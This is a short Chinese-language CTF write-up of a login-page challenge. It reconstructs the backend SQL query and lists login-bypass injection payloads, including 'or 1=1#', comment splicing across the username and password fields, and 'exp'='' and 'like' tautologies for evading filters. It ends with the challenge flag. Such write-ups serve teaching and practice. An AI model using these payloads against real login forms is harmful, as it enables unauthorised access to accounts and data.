yuuki-aptx

/*这道题很水不过也值得总结下*/

 

打开界面

1.  我尝试输入 admin   admin  竟然出flag了。。。这应该不是作者本意

2. 好了 言归正传 我猜测后台逻辑应该是这样的:

select * from table where username= \'user\' and password = \'pass\'

3.1 利用逻辑绕过  构造payload   admin\' or 1=1--+ 

输入后发现并没有进入,猜测应该是过滤了 \'or\' 或者\'-\' 或者\'+\'

用#替换--+   构造payload   admin\' or 1=1# 密码随便输入 发现登陆成功 那为什么--+就不行呢  -- 是注释需在后面添加空格 即 \'-- \'

admin\' or \'1\'#          admin\'or\'1\'=\'1# 也能绕过

#  -- 都能注释到行底 /*  */注释中间内容

3.2 利用注释绕过  构造payload 用户名:  admin\'/*asd    密码  asd*/#

select * from table where username= \'admin\'/*\' and password = \'asd*/#\'

发现登录成功,说明没有过滤 \'#\' ,尝试将#换成 \'-- \'也能成功绕过,如果过滤了 \'or\'   \'#\'  \'-\' 怎么绕过

如果你尝试把payload 用户名: exp/*asd    密码  asd*/#  你会发现不能绕过,究其原因是数据库里面没有 \'exp\'

此时机智的你又想到如果数据库里没有 ‘admin\'又该怎么绕过,

3.3  进阶的逻辑绕过    构造payload 用户名:  exp\'=\'  密码  exp\'=\'

select * from table where username= \'exp\'=\'\' and password = \'exp\'=\'\'

发现登陆成功,因为数据库里没有 \'exp\' sql从左向右执行,故 false=\'\' 为真

4.4 如果过滤 \'=\'  等号替换成like

select * from table where username= \'exp\'like\'\' and password = \'exp\'like\'\'

这样也能成功绕过

flag: htryyujryfhyjtrjn

  

分类:

技术点:

相关文章: